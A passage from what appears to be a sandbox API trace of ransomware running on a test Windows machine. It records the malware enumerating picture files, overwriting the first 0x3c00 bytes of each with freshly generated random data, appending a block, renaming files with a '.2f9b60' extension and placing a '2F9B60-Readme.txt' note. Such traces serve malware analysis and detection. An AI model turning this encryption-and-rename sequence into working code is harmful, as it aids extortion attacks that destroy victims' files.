_Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp" [0095.963] wcscat (in: _Dest=0x1cf4dad0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp.2f9b60" [0095.963] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp.2f9b60", NtPathName=0x290bfb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\flCVIZmSE7Ae.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5700 [0096.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 [0096.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0096.017] NtQueryInformationFile (in: FileHandle=0xe7c, IoStatusBlock=0x290bfbb8, FileInformation=0x290bfbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x290bfbb8, FileInformation=0x290bfbc8) returned 0x0 [0096.017] NtSetInformationFile (FileHandle=0xe7c, IoStatusBlock=0x290bfbb8, FileInformation=0x290bfbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0096.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dad0) returned 1 [0096.024] FlushFileBuffers (hFile=0xe7c) returned 1 [0096.027] CloseHandle (hObject=0xe7c) returned 1 [0096.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866440 [0096.028] wcscpy (in: _Dest=0x1b866440, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0096.028] wcscat (in: _Dest=0x1b866440, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" [0096.028] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2f9b60-readme.txt")) returned 0x20 [0096.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 Thread: id = 620 os_tid = 0x1094 [0095.347] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\repfnucxtv4i9ti.jpg")) returned 0x20 [0095.348] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg", dwFileAttributes=0x20) returned 1 [0095.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\repfnucxtv4i9ti.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe78 [0095.348] GetFileSizeEx (in: hFile=0xe78, lpFileSize=0x292ff840 | out: lpFileSize=0x292ff840*=56978) returned 1 [0095.348] SetFilePointerEx (in: hFile=0xe78, liDistanceToMove=0xde8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.348] ReadFile (in: hFile=0xe78, lpBuffer=0x292ff7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x292ff808, lpOverlapped=0x0 | out: lpBuffer=0x292ff7c0*, lpNumberOfBytesRead=0x292ff808*=0x4, lpOverlapped=0x0) returned 1 [0095.350] SetFilePointerEx (in: hFile=0xe78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b90 [0095.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7470 [0095.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.350] NtQuerySystemTime (in: CurrentTime=0x292ff700 | out: CurrentTime=0x292ff700*=132462177011890000) returned 0x0 [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x4a209f7c [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x3033ed11 [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x5862a583 [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x333bff02 [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x35134f42 [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0xf634491 [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x13ab59d [0095.350] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x71faa85b [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x4e4bd43e [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x3158a3e1 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x71d50798 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x48a2503c [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x1b80dfa [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x9abaf52 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x13e7a011 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x450071e8 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x444d06a1 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x1260a749 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x4b085a91 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x119da17c [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x43521549 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x312699b2 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x7e89da4b [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0xa1aa1cb [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x540a81c [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x3087dccf [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x45856cbc [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0xc064512 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x62c4d418 [0095.351] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x34da89c0 [0095.352] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x27931b73 [0095.352] RtlRandomEx (in: Seed=0x292ff6f0 | out: Seed=0x292ff6f0) returned 0x5de60508 [0095.367] SetFilePointerEx (in: hFile=0xe78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.367] ReadFile (in: hFile=0xe78, lpBuffer=0x201bd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x292ff760, lpOverlapped=0x0 | out: lpBuffer=0x201bd170*, lpNumberOfBytesRead=0x292ff760*=0x3c00, lpOverlapped=0x0) returned 1 [0095.367] SetFilePointerEx (in: hFile=0xe78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973f0 [0095.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866c40 [0095.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b90 [0095.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b90) returned 1 [0095.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201a2d00 [0095.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b90 [0095.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0095.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0095.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0095.369] WriteFile (in: hFile=0xe78, lpBuffer=0x201a2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x292ff760, lpOverlapped=0x0 | out: lpBuffer=0x201a2d00*, lpNumberOfBytesWritten=0x292ff760*=0x3c00, lpOverlapped=0x0) returned 1 [0095.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a2d00) returned 1 [0095.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201bd170) returned 1 [0095.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f070 [0095.623] SetFilePointerEx (in: hFile=0xe78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.623] WriteFile (in: hFile=0xe78, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x292ff810, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x292ff810*=0x118, lpOverlapped=0x0) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f030) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f970) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f070) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b90) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7470) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7dd0) returned 1 [0095.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7500) returned 1 [0095.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4dad0 [0095.660] wcscpy (in: _Dest=0x1cf4dad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg" [0095.660] wcscat (in: _Dest=0x1cf4dad0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg.2f9b60" [0095.660] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg.2f9b60", NtPathName=0x292ff830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\REPfNucXtV4i9TI.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1b7a5d30 [0095.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5d30) returned 1 [0095.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48040) returned 1 [0095.673] NtQueryInformationFile (in: FileHandle=0xe78, IoStatusBlock=0x292ff898, FileInformation=0x292ff8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x292ff898, FileInformation=0x292ff8a8) returned 0x0 [0095.673] NtSetInformationFile (FileHandle=0xe78, IoStatusBlock=0x292ff898, FileInformation=0x292ff8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0095.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dad0) returned 1 [0095.917] FlushFileBuffers (hFile=0xe78) returned 1 [0095.931] CloseHandle (hObject=0xe78) returned 1 [0095.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79e5f0 [0095.932] wcscpy (in: _Dest=0x1b79e5f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0095.932] wcscat (in: _Dest=0x1b79e5f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" [0095.932] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2f9b60-readme.txt")) returned 0x20 [0095.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0095.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e6f0) returned 1 Thread: id = 621 os_tid = 0x1098 [0095.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866d40 [0095.692] wcscpy (in: _Dest=0x1b866d40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0095.692] wcscat (in: _Dest=0x1b866d40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0095.692] wcscat (in: _Dest=0x1b866d40, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\*" [0095.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62c90 [0095.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\*", lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc627410, ftCreationTime.dwHighDateTime=0x1d5e43f, ftLastAccessTime.dwLowDateTime=0x787e9d30, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0x787e9d30, ftLastWriteTime.dwHighDateTime=0x1d5e3e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c550 [0095.693] wcscmp (_String1=".", _String2=".") returned 0 [0095.693] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc627410, ftCreationTime.dwHighDateTime=0x1d5e43f, ftLastAccessTime.dwLowDateTime=0x787e9d30, ftLastAccessTime.dwHighDateTime=0x1d5e3e4, ftLastWriteTime.dwLowDateTime=0x787e9d30, ftLastWriteTime.dwHighDateTime=0x1d5e3e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.693] wcscmp (_String1="..", _String2=".") returned 1 [0095.693] wcscmp (_String1="..", _String2="..") returned 0 [0095.693] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19d2fc60, ftCreationTime.dwHighDateTime=0x1d5e428, ftLastAccessTime.dwLowDateTime=0xcefe2870, ftLastAccessTime.dwHighDateTime=0x1d5dc13, ftLastWriteTime.dwLowDateTime=0xcefe2870, ftLastWriteTime.dwHighDateTime=0x1d5dc13, nFileSizeHigh=0x0, nFileSizeLow=0x42c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="38bFa3es R2L1x4PRXc.gif", cAlternateFileName="38BFA3~1.GIF")) returned 1 [0095.693] wcscmp (_String1="38bFa3es R2L1x4PRXc.gif", _String2=".") returned 1 [0095.693] wcscmp (_String1="38bFa3es R2L1x4PRXc.gif", _String2="..") returned 1 [0095.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5860 [0095.693] wcscpy (in: _Dest=0x1b7a5860, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0095.693] wcscat (in: _Dest=0x1b7a5860, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0095.693] wcscat (in: _Dest=0x1b7a5860, _Source="38bFa3es R2L1x4PRXc.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\38bFa3es R2L1x4PRXc.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\38bFa3es R2L1x4PRXc.gif" [0097.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7a5860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcfc [0097.892] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afc2970, ftCreationTime.dwHighDateTime=0x1d5e41c, ftLastAccessTime.dwLowDateTime=0xc3177160, ftLastAccessTime.dwHighDateTime=0x1d5db14, ftLastWriteTime.dwLowDateTime=0xc3177160, ftLastWriteTime.dwHighDateTime=0x1d5db14, nFileSizeHigh=0x0, nFileSizeLow=0xa265, dwReserved0=0x0, dwReserved1=0x0, cFileName="cU1CPw43.jpg", cAlternateFileName="")) returned 1 [0097.892] wcscmp (_String1="cU1CPw43.jpg", _String2=".") returned 1 [0097.892] wcscmp (_String1="cU1CPw43.jpg", _String2="..") returned 1 [0097.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae6e0 [0097.892] wcscpy (in: _Dest=0x202ae6e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0097.892] wcscat (in: _Dest=0x202ae6e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0097.892] wcscat (in: _Dest=0x202ae6e0, _Source="cU1CPw43.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\cU1CPw43.jpg" [0097.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x131c [0097.893] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e93e30, ftCreationTime.dwHighDateTime=0x1d5da4d, ftLastAccessTime.dwLowDateTime=0xe9238e00, ftLastAccessTime.dwHighDateTime=0x1d5df8a, ftLastWriteTime.dwLowDateTime=0xe9238e00, ftLastWriteTime.dwHighDateTime=0x1d5df8a, nFileSizeHigh=0x0, nFileSizeLow=0x1027b, dwReserved0=0x0, dwReserved1=0x0, cFileName="kL2Irr4NW86zW35Hp3xN.gif", cAlternateFileName="KL2IRR~1.GIF")) returned 1 [0097.893] wcscmp (_String1="kL2Irr4NW86zW35Hp3xN.gif", _String2=".") returned 1 [0097.893] wcscmp (_String1="kL2Irr4NW86zW35Hp3xN.gif", _String2="..") returned 1 [0097.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ac370 [0097.893] wcscpy (in: _Dest=0x202ac370, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0097.893] wcscat (in: _Dest=0x202ac370, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0097.893] wcscat (in: _Dest=0x202ac370, _Source="kL2Irr4NW86zW35Hp3xN.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\kL2Irr4NW86zW35Hp3xN.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\kL2Irr4NW86zW35Hp3xN.gif" [0097.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1320 [0097.894] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x757ba5b0, ftCreationTime.dwHighDateTime=0x1d5e6be, ftLastAccessTime.dwLowDateTime=0x21fe47b0, ftLastAccessTime.dwHighDateTime=0x1d5e17a, ftLastWriteTime.dwLowDateTime=0x21fe47b0, ftLastWriteTime.dwHighDateTime=0x1d5e17a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pXQXVd4_zyY0bvR", cAlternateFileName="PXQXVD~1")) returned 1 [0097.894] wcscmp (_String1="pXQXVd4_zyY0bvR", _String2=".") returned 1 [0097.894] wcscmp (_String1="pXQXVd4_zyY0bvR", _String2="..") returned 1 [0097.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027b730 [0097.894] wcscpy (in: _Dest=0x2027b730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0097.894] wcscat (in: _Dest=0x2027b730, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0097.894] wcscat (in: _Dest=0x2027b730, _Source="pXQXVd4_zyY0bvR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\pXQXVd4_zyY0bvR" [0097.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1324 [0097.895] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63242e10, ftCreationTime.dwHighDateTime=0x1d5df79, ftLastAccessTime.dwLowDateTime=0x21e341e0, ftLastAccessTime.dwHighDateTime=0x1d5e378, ftLastWriteTime.dwLowDateTime=0x21e341e0, ftLastWriteTime.dwHighDateTime=0x1d5e378, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TYa2z1", cAlternateFileName="")) returned 1 [0097.895] wcscmp (_String1="TYa2z1", _String2=".") returned 1 [0097.895] wcscmp (_String1="TYa2z1", _String2="..") returned 1 [0097.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202ae770 [0097.895] wcscpy (in: _Dest=0x202ae770, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9" [0097.895] wcscat (in: _Dest=0x202ae770, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tMlAQdvmhM9kgH9\\" [0097.895] wcscat (in: _Dest=0x202ae770, _Source="TYa2z1" | 